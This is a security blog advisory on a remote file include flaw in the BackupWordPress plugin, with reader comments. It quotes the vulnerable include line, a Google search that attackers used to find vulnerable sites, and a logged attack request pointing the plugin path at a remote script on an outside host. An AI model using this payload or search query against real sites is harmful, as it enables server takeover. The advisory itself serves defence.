BackUpWordPress Remote File Include Vulnerability
A remote file include vulnerability has been found in BackupWordpress < 0.4.3.
This means if an attacker can execute code on your web server if they can access the following script directly:
http://[target]/_path]/plugins/BackUp/Archive.php
A proof of concept exploit has already been released into the wild. We suggest you upgrade as soon as possible.
Affected code:
require_once $GLOBALS['bkpwp_plugin_path']."PEAR.php";
A new version is available here.
It looks like attackers are already starting to query Google for affected web sites:
http://www.google.com.br/search?hl=pt-BR&client=firefox-a& q="plugins/BackUp/Archive/"&btnG=Pesquisar&meta=
AND
209.190.23.66 - - [02/Nov/2007:11:51:14 +0000] " GET /category/wordpress/articles//BackUp/Archive/Reader.php? bkpwp_plugin_path=http://www.freewebtown.com/komandan/tool/q3.txt?? HTTP/1.1" 404 13951 "-" "libwww-perl/5.808"
Random Posts
If you enjoyed this post, please leave a comment or subscribe to the feed and get future articles delivered to your feed reader.
Comments
That’s awesome to see how fast attacker apply these new holes to their software…Not even as Security aware guy, you’re really safe from getting hit as you can’t react/check your plugins so often and fast…
I don’t like backup plugins because they often contain many security issues.
After a quick look, I found another security issue that allows the execution of SQL queries.
Donncha, check out http://blogsecurity.net/wordpress/article-210607/
These steps would have mitigated the risk of this attack :)
Alex, its a great plugin, but its new… perhaps we should get involved and sponser it.
[...] Blog Security. Gostou deste post? Então assine o feed RSS! Nos meus feeds você não lê só a introdução, [...]
[...] soit le plugin BackupWordPress car je l’avais installé pour le tester et d’après ce message de BlogSecurity, il était vulnérable ce [...]
[...] gibt es eine Sicherheitslücke in BackUpWordPress und passend dazu einen Exploit (Nur für Tests verwenden). Eine gefixt Version [...]